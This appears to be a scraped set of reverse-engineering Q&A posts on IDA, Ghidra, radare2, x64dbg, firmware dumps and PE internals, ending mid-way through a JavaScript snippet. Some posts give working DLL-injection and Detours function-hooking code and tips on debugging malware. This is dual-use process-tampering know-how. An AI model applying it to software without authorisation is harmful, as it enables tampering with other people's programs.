What is the easiest way to dump a REGION of memory in IDA pro?
|ida|idapython|
<p>Normally there should be an option “display as dwords” or similar for the memory dump</p>
25430
2020-07-01T18:42:45.300
<p>I am tracking down a data structure whose address is inside the second operand:</p> <pre><code>mov rcx, qword ptr ss:[rbp+E0] </code></pre> <p>When I look at the value of [rbp+E0] I see the following dump:</p> <pre><code>21 C4 FC 5E 00 00 00 00 </code></pre> <p>This is the pointer to the data structure but it is stored as little endian. So I cannot simply copy the address. I have to transform it by hand into:</p> <pre><code>000000005EFCC421 </code></pre> <p>Is there a common and easy way to handle these situations? I am currently using x64dbg as a debugger. Thanks!</p>
How can I easily convert little endian pointers in hex dumps?
|x64dbg|
<p>If the program is using standard cryptography libraries then hooking the exported functions of that library might be a good starting point</p>
25445
2020-07-05T13:41:31.690
<p>What is the best approach when debugging a multithreaded program that is yet to be encrypted? Where is the best place to put Breakpoints using Ollydbg?</p>
Debugging Encrypted Malware with Multiple Threads
|debugging|ollydbg|malware|winapi|thread|
<p>It takes the file name, but IDA doesn't recognise it.</p> <p>In this example, IDA interpreted <code>4</code>-byte string <code>NUL\x00</code> (<code>4E 55 4C 00</code>) as an offset (address <code>0x004C554E</code>) in the code. You may force it to interpret it as an ascii string simple by pressing <kbd>a</kbd> when the cursor is on the line <code>006A5D8C</code>.</p> <p>The reason that the byte order is reversed is that <code>x86</code> architecture uses <a href="https://en.wikipedia.org/wiki/Endianness" rel="noreferrer">little endian</a> byte ordering, so in case you interpret <code>4E 55 4C 00</code> as a number, the byte order will be reversed (hence <code>0x004C554E</code>).</p>
25447
2020-07-05T18:09:07.130
<p>Can anyone explain, why fopen takes as argument- not a file name- according to code takes some off_6A5D8C:</p> <pre><code>.text:00537F9F push offset stru_6C4E40 ; FILE * .text:00537FA4 call _fclose .text:00537FA9 push offset aWt ; &quot;wt&quot; .text:00537FAE push offset off_6A5D8C ; char * .text:00537FB3 call _fopen .text:00537FB8 mov dword_83AE9C, eax </code></pre> <p>and I tracked this off_6A5D8C it's pointed to label loc_4C554E:</p> <pre><code>.data:006A5D8C ; char off_6A5D8C .data:006A5D8C off_6A5D8C dd offset loc_4C554E .data:006A5D90 ; char aWt[] .data:006A5D90 aWt db 'wt',0 </code></pre> <pre><code>.text:004C554E loc_4C554E: .text:004C554E mov esp, ebp .text:004C5550 pop ebp .text:004C5551 retn 0Ch </code></pre> <p>I am not expert in disassembling, may be it requires perform Undefine operation for loc_4C554E - and in this case it's looks like:</p> <pre><code>.text:004C554E unk_4C554E db 8Bh ; Ë ; DATA XREF: .data:off_6A5D8Co .text:004C554F db 0E5h ; õ .text:004C5550 db 5Dh ; ] .text:004C5551 db 0C2h ; T .text:004C5552 db 0Ch .text:004C5553 db 0 </code></pre> <p>Seems it is string terminated with 0. How to turn this string (file name) to readable look? Thanks in advance.</p>
Figure out with fopen
|disassembly|x86|c++|
<p>you can use <a href="https://www.keystone-engine.org/showcase/" rel="nofollow noreferrer">https://www.keystone-engine.org/showcase/</a> assembler</p> <pre><code>from keystone import * target = 0xDEADBEEF current = 0x18D68 ks = Ks(KS_ARCH_ARM, KS_MODE_ARM) bytes(ks.asm(&quot;bl {}&quot;.format(hex(target)), current)[0]).hex() </code></pre>
25454
2020-07-07T07:58:50.983
<p>I need to patch an arm7 program by replacing this fopen function by another function.</p> <pre><code>.text:00018D68 52 D7 FF EB BL fopen ... .plt:0000EAB8 ; FILE *fopen(const char *filename, const char *modes) </code></pre> <p>Do you know how to calculate the 24 bits that I need to write after EB? The documentation is not very clear. I tried to find a Branch offset calculator but not found.</p> <p>Thx,</p>
ARM7 32-bit Branch Offset Calculator
|ida|arm|patching|patch-reversing|
<p>It is indeed possible, and not that hard to do - providing the game doesn't have any anti-cheat nor integrity checks.</p> <p>The thing you are looking for is called <strong>function hooking</strong>. If you don't want to mess with assembly there are few good libs that can do the most important and tedious part of work for you.</p> <ul> <li><a href="https://github.com/microsoft/Detours" rel="nofollow noreferrer">Detours</a> - developed by Microsoft</li> <li><a href="https://github.com/frida/frida" rel="nofollow noreferrer">Frida</a></li> <li><a href="https://github.com/stevemk14ebr/PolyHook_2_0" rel="nofollow noreferrer">PolyHook</a></li> </ul> <p>Take a look into examples, for example that one in PolyHook`s repository. <a href="https://github.com/stevemk14ebr/PolyHook_2_0/blob/master/ExampleProject/ExampleProject/ExampleProject/ExampleProject.cpp" rel="nofollow noreferrer">Here</a> they hook (intercept) printf function, but there is no problem to intercept game function at <code>43AC70</code> to call your function from <code>mylibrary.dll</code>.</p> <p>If you want to write your own detour you can take a look at my other reply on that site: <a href="https://reverseengineering.stackexchange.com/questions/23433/what-is-the-best-way-to-change-the-call-graph-of-a-pe-file-without-changing-its/25026#25026">here</a></p>
25459
2020-07-08T14:06:58.637
<p>I need some tip to undrestand what is the best way to execute external code from DLL or command line.</p> <p>I like to add the force feedback support to different games that not support it.</p> <p>I can write a DLL or a commnad line exe that execute the FFB. The problem is how I call these function from the game.</p> <p>For the moment I have disassebled one game with IDA and found the point to put the call.</p> <p>I don't have any experience in assembly. So I'am not sure if I'am in the right way.</p> <p>There are some tool like: wininject so I was think to use it to add the dll dependency to my exe game.</p> <p>After I need to do the call of my function inside the DLL in assembly (ex. exectute_ffb(par1) ), but I don't known the code to do the call.</p> <p>Here the screenshot about the call.</p> <p><a href="https://i.stack.imgur.com/cILHn.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cILHn.png" alt="enter image description here" /></a></p> <p><a href="https://i.stack.imgur.com/uEvtc.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/uEvtc.png" alt="enter image description here" /></a></p> <pre><code>int __cdecl sub_43AC70(char *a1, int a2) { call my_function(a1) from mylibrary.dll int i; // [esp+0h] [ebp-4h] for ( i = sub_43BC50(); i; i = *(_DWORD *)i ) { if ( *(_DWORD *)(i + 88) == a2 &amp;&amp; (!a1 || !stricmp((const char *)(i + 4), a1)) ) return i; } return 0; </code></pre> <p>Can you help me please ?</p>
dll injection (assembly code)
|disassembly|assembly|dll-injection|
<p>You can use <code>r2</code> to get the data and <code>r2pipe</code> to script it.</p> <p><code>iS entropy</code> produce the entropy values for each section. Adding <code>j</code> will produce it in JSON format and scripting it with <code>r2pipe</code> is easy.</p> <pre><code>import r2pipe p = r2pipe.open('&lt;path_to_exe&gt;') res = p.cmdj('iSj entropy') print([(x['name'],x['entropy']) for x in res['sections']]) </code></pre> <blockquote> <p>[('.text', '6.00602992'), ('.rdata', '3.94265366'), ('.data', '6.85876398'), ('.pdata', '3.46591559'), ('.rsrc', '4.70150326'), ('.reloc', '4.96848447')]</p> </blockquote>
25466
2020-07-10T11:17:21.030
<p>I want to write a script to extract the entropy of each sections of an EXE file. What is the best tool that I can use to do this? I tried Ghidra but it doesn't have an entropy API which I can use.</p>
Best way to find the entropy of an EXE file?
|disassembly|pe|entropy|
<p>I figured it out:</p> <p>Right click and go to hex editor, then search the bytes you are looking for, then after finding it right click and select go to code reference.</p>
25470
2020-07-10T18:23:36.307
<p>There are a sequence of bytes that i need to find out where are used in dnspy</p> <p>i tried going to hex editor and found the bytes, but right clicking and saying go to code or structure or follow reference wont work</p> <p>how can i know where these bytes are used if there is no reference? is it possible to set breakpoint on location access just like IDA, or any easier way?</p> <p>The sequence of bytes are right before the IAT in the .text section, around 0x70 bytes after this string which seems to be in a lot of .net files :</p> <p>Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator</p>
How to know where a sequences of bytes are used in a .NET application with Dnspy?
|windows|malware|.net|c#|dnspy|
<p>Found it in <a href="https://www.hex-rays.com/products/ida/support/idapython_docs/" rel="nofollow noreferrer">IDAPython documentation</a>.</p> <ul> <li>There is a function <code>exec_idc_script</code> <a href="https://www.hex-rays.com/products/ida/support/idapython_docs/ida_expr-module.html#exec_idc_script" rel="nofollow noreferrer">here</a> in module <a href="https://www.hex-rays.com/products/ida/support/idapython_docs/" rel="nofollow noreferrer">ida_expr</a>.I never used it myself but according to the spec it should work.</li> <li>In addition there is a <a href="https://www.hex-rays.com/products/ida/support/idadoc/1127.shtml" rel="nofollow noreferrer"><code>RunPythonStatement</code></a> in IDC if you need to do it conversely.</li> </ul>
25474
2020-07-11T05:58:08.563
<p>I'm using IDA batch scripting to run a script on a dataset of malware</p> <p>the problem is i need to run the VB6 idc script after auto analysis is finished, and wait for it to finish and find all the functions, then run my own script (my script is in IDApython and VB6 script is a idc file)</p> <p>to manually run this VB6 script i go to file and choose script file ( there is no menu button or shortcut added) and wait for it to finish and find all VB6 functions</p> <p>so what is the easiest way to achieve this? can i execute a idc script from my IDApython script and wait for it to finish?</p>
How to run another IDA script using IDApython?
|ida|windows|idapython|script|
<p>The first one is much better in my opinion:</p> <ul> <li><p>It doesn't use deprecated function, that is probably kept only in the <code>Detours</code> library for backward compatibility</p> </li> <li><p>It uses pattern scanning, this is much better then embedding raw address, because lets say you are going to inject the .dll to a game, even if it's old singleplayer game it may have a lot of revisions, so the raw address may point to another function, while the pattern will mostly likely find a match anyway (providing the revisions don't differ too much)</p> </li> </ul> <p>The argument with hardcoded &quot;testprogram.exe&quot; doesn't really matter, beacuse there are a lot of ways to get name of the executable, for example you may use the winapi function <a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulefilenamea" rel="nofollow noreferrer">GetModuleFileName</a></p> <p>Not sure if I understand correctly the question about migration, however if you wan't to use DetourAttach in the second example there is no problem with that, just call the <code>DetourAttach</code> like in first example, but with <code>ADDRESS</code> instead of <code>AddressOfSum</code> as parameter.</p>
25495
2020-07-14T09:45:42.580
<p>I have found 2 source code example to hook a function.</p> <p>Example1:</p> <pre><code>#include &quot;detours.h&quot; #include &quot;sigscan.h&quot; // this is the function that the program // will jump to when sum() is called in the original program (testprogram.exe) DWORD AddressOfSum = 0; // template for the original function typedef int(*sum)(int x, int y); int HookSum(int x, int y) { // manipulate the arguments x += 500; y += 500; // we manipulate the arguments here and then // redirect the program to the original function std::cout &lt;&lt; &quot;your program has been hacked! &quot; &lt;&lt; std::endl; sum originalSum = (sum)AddressOfSum; return originalSum(x, y); } BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { // store the address of sum() in testprogram.exe here. if (dwReason == DLL_PROCESS_ATTACH) { // We will use signature scanning to find the function that we want to hook // we will find the function in IDA pro and create a signature from it: SigScan Scanner; // testprogram.exe is the name of the main module in our target process AddressOfSum = Scanner.FindPattern(&quot;testprogram.exe&quot;, &quot;\x55\x8B\xEC\x8B\x45\x08\x03\x45\x0C&quot;, &quot;xxxxxxxxx&quot;); DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); // this will hook the function DetourAttach(&amp;(LPVOID&amp;)AddressOfSum, &amp;HookSum); DetourTransactionCommit(); } else if (dwReason == DLL_PROCESS_DETACH) { // unhook DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); // this will hook the function DetourDetach(&amp;(LPVOID&amp;)AddressOfSum, &amp;HookSum); DetourTransactionCommit(); } return TRUE; } </code></pre> <p>Example2:</p> <pre><code>#include &lt;windows.h&gt; #include &lt;detours.h&gt; #include &lt;iostream&gt; #define ADDRESS 0x40133C //This is the address where our targeted function begins double (__cdecl* originalFunction)(double); //Pointer to the function we are going to hook, must be declared same as original(returns double and takes double as argument) /*Our modified function code that is going to be executed before continuing to the code of original function*/ double hookedFunction(double a) { std::cout &lt;&lt; &quot;original function: argument = &quot;&lt;&lt; a &lt;&lt; std::endl; //we can access arguments passed to original function a=50.1337; //Modify arguments return originalFunction(a); //before returning to normal execution of function } BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved) { switch (dwReason) { case DLL_PROCESS_ATTACH: originalFunction = (double(__cdecl*)(double))DetourFunction((PBYTE)ADDRESS, (PBYTE)hookedFunction); //Magic break; } return TRUE; } </code></pre> <p>And I ask what is best easy and flexible approach to hook functions.</p> <p>My consideration:</p> <ol> <li>Example 1: is tested and worked.</li> <li>Example 1: is a filename dependent &quot;testprogram.exe&quot;. So if I change the exe file name I need to change the source code.</li> <li>Example 1: &quot;\x55\x8B\xEC\x8B\x45\x08\x03\x45\x0C&quot; this is the address point format and it is not easy to decode like example 2: &quot;0x40133C&quot; (more easy)</li> <li>Example 2: don't work because &quot;detourFunction&quot; is deprecated. Now there is &quot;detourAttach&quot; but I don't known how migrate to it in this case.</li> <li>Example 2: is more easy but old. I don't known if will work in the future (32 or 64 bit)...</li> </ol> <p>Can you help me please to take a decision or suggest me a better/easier solution ?</p>
best approach to hook function
|c++|function-hooking|dll-injection|
<p><code>binwalk</code> scans files for <a href="https://github.com/ReFirmLabs/binwalk/tree/master/src/binwalk/magic" rel="nofollow noreferrer">magic bytes</a>. Data that does not have a signature defined for it will not be found by a signature scan.</p> <p>It appears no signature is defined for RootFS file systems (the hits for rootfs below are labels for offsets in TRX headers):</p> <p><a href="https://i.stack.imgur.com/CwU2e.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/CwU2e.png" alt="no rootFS signature" /></a></p> <p>Example entries for SquashFS file systems signatures, for reference:</p> <p><a href="https://i.stack.imgur.com/jxmyl.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/jxmyl.png" alt="signature entries for squashfs" /></a></p>
25534
2020-07-23T04:00:34.820
<p>This teardown: <a href="https://electronics-teardowns.blogspot.com/2020/07/eufy-homebase2-teardown.html" rel="nofollow noreferrer">https://electronics-teardowns.blogspot.com/2020/07/eufy-homebase2-teardown.html</a></p> <p>Gives a flash dump for the Eufy Home Base 2 here: <a href="https://anonymousfiles.io/Ve9y3cL4/" rel="nofollow noreferrer">https://anonymousfiles.io/Ve9y3cL4/</a></p> <p>With this partition table:</p> <pre><code>[ 0.472000] Creating 12 MTD partitions on &quot;raspi&quot;: [ 0.480000] 0x000000000000-0x000002000000 : &quot;ALL&quot; [ 0.484000] 0x000000000000-0x000000030000 : &quot;Bootloader&quot; [ 0.492000] 0x000000030000-0x000000040000 : &quot;Config&quot; [ 0.500000] 0x000000040000-0x000000050000 : &quot;Factory&quot; [ 0.504000] 0x000000050000-0x0000002e02cd : &quot;Kernel&quot; [ 0.512000] mtd: partition &quot;Kernel&quot; doesn't end on an erase block -- force read-only [ 0.520000] 0x0000002e02cd-0x000000e50000 : &quot;RootFS&quot; [ 0.524000] mtd: partition &quot;RootFS&quot; doesn't start on an erase block boundary -- force read-only [ 0.536000] 0x000000050000-0x000000e50000 : &quot;Kernel_RootFS&quot; [ 0.544000] 0x000000e50000-0x000000e60000 : &quot;device_info&quot; [ 0.552000] 0x000000e60000-0x000000e70000 : &quot;ocean_custom&quot; [ 0.560000] 0x000000e70000-0x000000f40000 : &quot;Kernel2&quot; [ 0.564000] 0x000000f40000-0x000001440000 : &quot;RootFS2&quot; [ 0.572000] 0x000001440000-0x000002000000 : &quot;user_fs_jffs2&quot; </code></pre> <p>But binwalk, file, unsquashfs, etc., can't seem to find filesystems at those offsets. Eg., binwalk just sees a bunch of xz data (which often decompresses into MIPS binaries, but not a filesystem):</p> <pre><code>$ binwalk mtd0 |head DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 83600 0x14690 U-Boot version string, &quot;U-Boot 1.1.3 (Nov 6 2018 - 17:19:03)&quot; 327680 0x50000 uImage header, header size: 64 bytes, header CRC: 0xD3931108, created: 2020-05-09 09:54:47, image size: 13185677 bytes, Data Address: 0x80000000, Entry Point: 0x805E9280, data CRC: 0x62435970, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &quot;Linux Kernel Image&quot; 327744 0x50040 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 8125672 bytes 3015469 0x2E032D xz compressed data 3064741 0x2EC3A5 xz compressed data 3112893 0x2F7FBD xz compressed data 3164133 0x3047E5 xz compressed data ... </code></pre> <p>I'd like to study the various rootfs filesytems listed in the partition table. What am I missing?</p>
Why doesn't binwalk see the filesystems in this Eufy Home Base 2 flash dump?
|file-format|mips|flash|
<p>These are instructions used for alignment. You can see that the last instruction ends on a 16-byte boundary (<code>000055F4BFB94400</code>).</p>
25537
2020-07-23T11:35:35.880
<p>I am currently reversing RUST binaries, and I often come across this block of instruction :</p> <pre><code>.text:000055F4BFB943F2 db 2Eh .text:000055F4BFB943F2 nop word ptr [rax+rax+00000000h] .text:000055F4BFB943FC nop dword ptr [rax+00h] </code></pre> <p>Which probably does nothing. I can see the rogue byte at the beginning, but pressing <code>C</code> on IDA to disassemble from there gives no result. Thus, I am wondering why rust compiler create those instructions as they appear to be useless.</p>
Why do those useless instruction are in Rust final binary?
|disassembly|compilers|compiler-optimization|
<p>Relative Virtual Address = RVA it is relative within the address space</p> <p>jmp here+78 will always jump +78 from wherever here is</p> <p>now jump 402078 will always try to jump to 402078</p> <p>this will only succeed if 402078's preferred loading address was 400000 and the binary</p> <p>loaded at 400000</p> <p>if it loaded at 600000 then 402078 does not exist in that address space and will result in access vioaltion</p> <p>here relocation table is required</p> <p>Loader when loading the binary will check preferred address and patch the 402078 to 602078 when loading</p> <p><a href="https://reverseengineering.stackexchange.com/questions/20057/call-instruction-changed-while-running/20058#20058">posts that contain relevent information</a></p>
25540
2020-07-24T12:20:41.473
<p>I understand that the relocation table exists for when an image isn't loaded at its preferred address, but if an image isn't loaded at its preferred address, doesn't everything need to be relocated relative to the actual load address? Isn't that the whole point of an RVA? What makes addresses that have entries in the relocation table different?</p> <p>(My first question, please point out mistakes if I made them. Thanks.)</p>
Why are relocation tables needed?
|pe|
<p>In a nutshell, stripping a binary means removing sections containing symbol and debug information from the file. These sections lie at the end of the binary, separate from the code. Removing this information has no bearing on the code itself, so the locations of functions in the file (their file offsets) will be the same after stripping the binary. Function addresses (their location in virtual memory), on the other hand, may either be hardcoded or position independent; it depends on how the binary was compiled (this is also unaffected by stripping symbol info).</p> <p>Finding the boundaries of functions in stripped binaries is an undecidable problem, but workarounds and heuristics exist, such as a signature-based approach to function detection. Here are some examples:</p> <ol> <li><a href="https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml" rel="nofollow noreferrer">IDA FLIRT</a> essentially uses byte patterns to create function signatures</li> <li>Ghidra's <a href="https://github.com/NationalSecurityAgency/ghidra/tree/49c2010b63b56c8f20845f3970fedd95d003b1e9/Ghidra/Features/FunctionID" rel="nofollow noreferrer">FunctionID</a> feature takes mnemonic and operand type into account when hashing instructions to match functions to their well-known name <ul> <li>this is according to <a href="https://twitter.com/williballenthin/status/1144031730963140608" rel="nofollow noreferrer">Willi Ballenthin's analysis</a></li> <li><a href="https://github.com/NationalSecurityAgency/ghidra/blob/49c2010b63b56c8f20845f3970fedd95d003b1e9/Ghidra/Features/FunctionID/src/main/java/ghidra/feature/fid/hash/MessageDigestFidHasher.java" rel="nofollow noreferrer">hashing implementation</a></li> </ul> </li> <li>JEB's disassembler creates <a href="https://docs.google.com/presentation/d/17Vlv5JD8fGeeNMQqDuwDQXN3d9U6Yxmfb1aebfbMM98/view#slide=id.g597565ee72_1_16" rel="nofollow noreferrer">function signatures by hashing the assembly (not binary code) of the function with a custom hashing algorithm</a>.</li> <li>BinaryNinja's <a href="https://binary.ninja/2020/03/11/signature-libraries.html" rel="nofollow noreferrer">Signature Library</a></li> </ol> <p>Here is an interesting article on the subject: <a href="https://binary.ninja/2017/11/06/architecture-agnostic-function-detection-in-binaries.html" rel="nofollow noreferrer">Architecture Agnostic Function Detection in Binaries</a></p>
25542
2020-07-24T14:51:15.430
<p>Given C code, are the function addresses from the ELF the same as those in the stripped version?</p> <p>I don't have any specific code in mind. Just trying to learn in general how to find the function beginning (and possibly end) in the stripped binary given the original code.</p>
How to find function start in stripped binary?
|disassembly|binary-analysis|c|gcc|
<p>In case anyone wondering, I posted this question on ghidra github as well and @cetfor posted a very good way to do this. You can find that question <a href="https://github.com/NationalSecurityAgency/ghidra/issues/2143" rel="nofollow noreferrer">here</a>.</p> <p>I tried to reproduce it and I was able to do this successfully.</p> <blockquote> <pre><code>from ghidra.app.decompiler import DecompileOptions from ghidra.app.decompiler import DecompInterface ifc = DecompInterface() ifc.setOptions(DecompileOptions()) ifc.openProgram(currentProgram) for function in functions: res = ifc.decompileFunction(function, 60, monitor) high_func = res.getHighFunction() lsm = high_func.getLocalSymbolMap() symbols = lsm.getSymbols() for i, symbol in enumerate(symbols): print(&quot;Symbol {}: {} (size: {})&quot;.format(i+1, symbol.getName(), symbol.size)) </code></pre> </blockquote> <p>Check out <a href="https://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/HighFunction.html" rel="nofollow noreferrer">this</a> endpoint for more information on highfunction. Note that I found differences in variables given by this decompiler interface and listing. Also, I couldn't find any api endpoint which gives address references by these variables (something like <code>getReferencesTo</code>).</p>
25561
2020-07-27T15:05:35.033
<p>I have a simple program:</p> <pre><code>#include &lt;stdio.h&gt; int main() { int a; a = func(15, 3); return a; } int func(int i, int j) { int b1[5], b2[10]; b2[i] = 1; printf(&quot;%d\n&quot;, b1[j]); return 0; } </code></pre> <p>I am using python script to get local variables from the stripped binary, compiled using above program.</p> <p>I use: <code>function.getLocalVariables()</code> or something like <code>function.getStackFrame().getStackVariables()</code> to get the local variables. Interestingly I observed that, this script doesn't give me all the variables which can be seen in the decompiler window. For e.g., in the above case, I get following in the decompiled window (for function <code>func</code>):</p> <p><img src="https://user-images.githubusercontent.com/17796905/88557533-f0a99380-cfef-11ea-9dfa-f2bd4e870266.png" alt="image" /></p> <p>Here, the predicted buffers can be seen. But instead I get:</p> <pre><code>FUN_004004d6 array(ghidra.program.model.listing.Variable, [[undefined4 local_5c@Stack[-0x5c]:4], [undefined4 local_60@Stack[-0x60]:4]]) </code></pre> <p>which are clearly not the predicted buffers. Is there any way to get those buffers?</p> <p>Note: I also posted the same on ghidra github's forum.</p>
Is there any way to get predicted variables using python script?
|ghidra|
<p>Since the number of bytes in the instructions can be different and they had to put some limit on the column width, this is how it is indicated that there are more bytes in the instruction that those that you see on the screen. A '.' indicates that there's more and it doesn't mean it's always zero(s)- it can be anything.</p> <p>If this bothers you there are flags that control the behavior.</p> <pre><code>:&gt; e asm.nbytes = 6 </code></pre> <p>controls how many bytes are shown, and if you put that value to a relatively small number almost all will end with a <code>'.'</code>.</p> <p>You could put there <code>10</code> to see the full instruction but of course that would push opcodes more to the right. You can also turn the bytes off to save some space:</p> <pre><code>:&gt; e asm.bytes = false </code></pre>
25567
2020-07-27T22:45:20.747
<p>I've just started using radare2 and I've noticed a dot when I tried to disassamble one on my programs. The output is:</p> <pre><code>0x00000000 48b841000000. movabs rax, 0x41 </code></pre> <p>I understand that 0x48 is the REX prefix for mov (0xB8) and immediate operand is 0x41. If 0x41 consumed 64 bits it would be 0x0000000000000041 (8 bytes).</p> <p>Total length of the instruction should be 10 bytes (0xA) which makes sense as my next instruction starts at 0xA (as first one consumes 10 bytes starting from 0x0 to 0x9)</p> <p>What is the meaning of dot in disassembly above? Could someone maybe point me to documentation that talks about disassembly format?</p>
Radare2 - what does dot mean in disassembly
|disassembly|radare2|x86-64|
<p>First of all, I want to clarify some of the concepts about &quot;API calls.&quot; I will explain these concepts, mainly thinking of WinAPI and PE files. I'm not claiming these definitions are correct for all systems.</p> <p><strong>Operating system programming interfaces</strong></p> <p>I assume you are referring to OS API libraries as API. OS API is consists of different interfaces that user-mode applications can use to access the operating system. Using OS API, user-mode applications can abstract system call interfaces with more portable ones. There are many other benefits of OS API libraries like diversifying basic system call operations with high-level operations and making system call interface independent from user mode application interface. Some known OS API implementations are WinAPI and Glibc.</p> <p><strong>How can obtain shared library (DLL files in Microsoft Windows systems) information from an executable file?</strong></p> <p>Most of the time shared library information is given in the PE header. And static analysis tools extract that information from that. I'm sure disassemblers like IDA has advanced features and extensions for detecting dynamic library loading.</p> <p><strong>How can we get dynamically loaded library information?</strong></p> <p>Some software like computer viruses and commercial products want to hide their operations from inspection to hide their activities or protect their intellectual property. They use dynamic loading to mask their OS and other API usages. They use <em>LoadLibrary</em> like API functions (and lots of different variations) for loading shared libraries. A sandbox or debugger can access this information hooking these functions. But, it is not sure that they can find all instances of dynamic loading.</p> <p><strong>Can static and dynamic shared library information differ?</strong></p> <p>I don't know how Cuckoo and IDA access shared library information, but static and dynamic analysis can show different shared libraries. Theoretically, some static analysis methods could find all dynamically loaded libraries. Which does not mean they mostly do.</p>
25572
2020-07-28T16:51:00.460
<p>Running an executable in Cuckoo sandbox gives me its dynamic API information. How do these API calls differ from their static API information (eg. If I were to just put the executable through IDA Pro or Ghidra?) I know that the static API calls have different names from the dynamic ones, but are they two separate non intersecting sets (i.e. each particular API name only belongs to either the static API category or the dynamic API category, and never both?)</p>
How does an executable’s static API differ from it’s dynamic API?
|ida|disassembly|binary-analysis|malware|ghidra|
<p>Without more information, as suggesting by the various comments, it's hard to be completely sure but, based on the information available, the format seems to be a very simple uncompressed vendor-specific 'raw' format with no specific identification or 'magic' numbers or tagged structure.</p> <p>What follows is my best guess as to the format. Having a full file and a picture of the image it is thought to contain would confirm specific details either way.</p> <p>The header appears to have the following format -</p> <pre><code>00000000: 00000800 // width of image (W) = 2048 pixels 00000004: 00000600 // height of image (H) = 1536 pixels 00000008: 0000000C // number of bytes per pixel (B) = 12 bytes 0000000C: 00006000 // number of bytes per row (T) = W * B, probably rounded up to multiple of 8 or 16 </code></pre> <p>The suggested size of 2048x1536 does appear consistent with specifications from several digitail/usb microscopes that are available online.</p> <p>The pixel data then follows for each row, with each pixel appearing to be stored as 3x 32-bit IEEE floating-point value (i.e. B = 12 bytes.) These three values being, presumably, R, G &amp; B components in some order.</p> <pre><code>// 1st row 00000010: 3C8B50D4 3C8F6AF0 3C8974E5 // 1st pixel = 0.017006, 0.017507, 0.016779 0000001C: .... </code></pre> <p>Subsequent rows will appear <code>T</code> bytes beyond the previous row.</p> <pre><code>// 2nd row (at 0x00000010 + 0x00006000) 00006010: .... // 3rd row (at 0x00000010 + 0x00006000 x 2) 0000C010: .... // 4th row (at 0x00000010 + 0x00006000 x 3) 00012010: .... etc... </code></pre> <p>If correct, this would suggest your original file is relatively large at around 36MB.</p>
25584
2020-07-30T08:53:39.667
<p>I am trying to reverse engineer an image file generated by my microscope. It is supposed to be an HDR image. The file has very distinct pattern in HEX editor but I am unable to recognise it: <a href="https://i.stack.imgur.com/aAASu.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/aAASu.jpg" alt="enter image description here" /></a></p> <p>First 16 bytes are some sort of a header and then every 4th byte is 0x3C, and sometimes it is 0x3D instead. The file continues with the same pattern until the end and ends with 0x3C as well. Is this something very proprietary or do any of you guys recognise it?</p> <p><strong>Edit</strong>: The entire file is available <a href="https://drive.google.com/file/d/1jP8mGYxNcpvN0f1whTgiLwe7jatWe1PW/view?usp=sharing" rel="nofollow noreferrer">here</a>.</p>
What image format is this?
|file-format|
<ol> <li><p>it is surprising that HYDRAS 3 does not allow you to export data at least in csv format.</p> </li> <li><p>monitor-file is a log file not so interesting</p> </li> <li></li> </ol> <h2>all data you needs are in the read-file I quickly adapted an html file, which I use to extract my data from a text file, to your read-file. It draws a curve of your data. The ERR.05 ERR.10 value are replaced by the value 0.000 If it can help you, here it is:</h2> <pre><code>&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&gt; &lt;html&gt; &lt;head&gt; &lt;META content=&quot;text/html; charset=ISO-8859-2&quot; http-equiv=&quot;content-type&quot;&gt; &lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/dygraph/2.1.0/dygraph.min.js&quot;&gt;&lt;/script&gt; &lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdnjs.cloudflare.com/ajax/libs/dygraph/2.1.0/dygraph.min.css&quot; /&gt; &lt;title&gt;extract data from text file&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;div id=&quot;wrap&quot;&gt; &lt;div id=&quot;header&quot;&gt; &lt;div id=&quot;main&quot;&gt; &lt;h1&gt;extract data from text file (read-file.txt HYDRAS 3)&lt;/h1&gt; &lt;p&gt;Nota: &lt;BR&gt; Adapt to your needs in the function parseFile &lt;BR&gt; &lt;BR&gt; &lt;/p&gt; &lt;form name=&quot;frmParse&quot; action=&quot;&quot;&gt; &lt;p&gt; File: &lt;input type=&quot;file&quot; name=&quot;fileinput&quot; onchange='openFile(event)' /&gt; &lt;/p&gt; &lt;p&gt;Output:&lt;/p&gt; &lt;p&gt; &lt;textarea name=&quot;ed_output&quot; rows=&quot;10&quot; cols=&quot;87&quot; style=&quot;width: 700px;&quot;&gt;&lt;/textarea&gt; &lt;br&gt; &lt;/p&gt; &lt;/form&gt; &lt;/div&gt; &lt;div id=&quot;graphdiv2&quot; style=&quot;width: 100%; height: 100%;&quot;&gt; &lt;/div&gt; &lt;script type=&quot;text/javascript&quot;&gt; &lt;!-- document.frmParse.ed_output.value = &quot;&quot;; var mytext=[]; var csv_data=[]; var csv_firstline=&quot;time,value\n&quot;; String.prototype.beginsWith = function (string) { return(this.indexOf(string) === 0); }; function parseFile() { document.frmParse.ed_output.value = &quot;&quot;; var index = 0; var newtext=csv_firstline; var v1=&quot;&quot;; var v2=&quot;&quot;; var date=&quot;&quot;; var newArray = []; for (var i = 0; i &lt; mytext.length -1 ; i++ ) { if (mytext[i].includes(&quot; Date:&quot;)){ v1=mytext[i].match(/\d\d\/\d\d\/\d\d\d\d/g); date=(moveLastArrayElementToFirstIndex(v1.toString().split(&quot;/&quot;))).join('-') ;// date mm/dd/yyyy become yyyy-mm-dd } if (mytext[i].includes(&quot;.&quot;)){ v2=mytext[i].match(/ (.*\..*) /g); if (v2!=null){ var time=mytext[i].match(/\((\d\d:\d\d:\d\d)\)/g).toString().replace(/[()]/g, ''); var 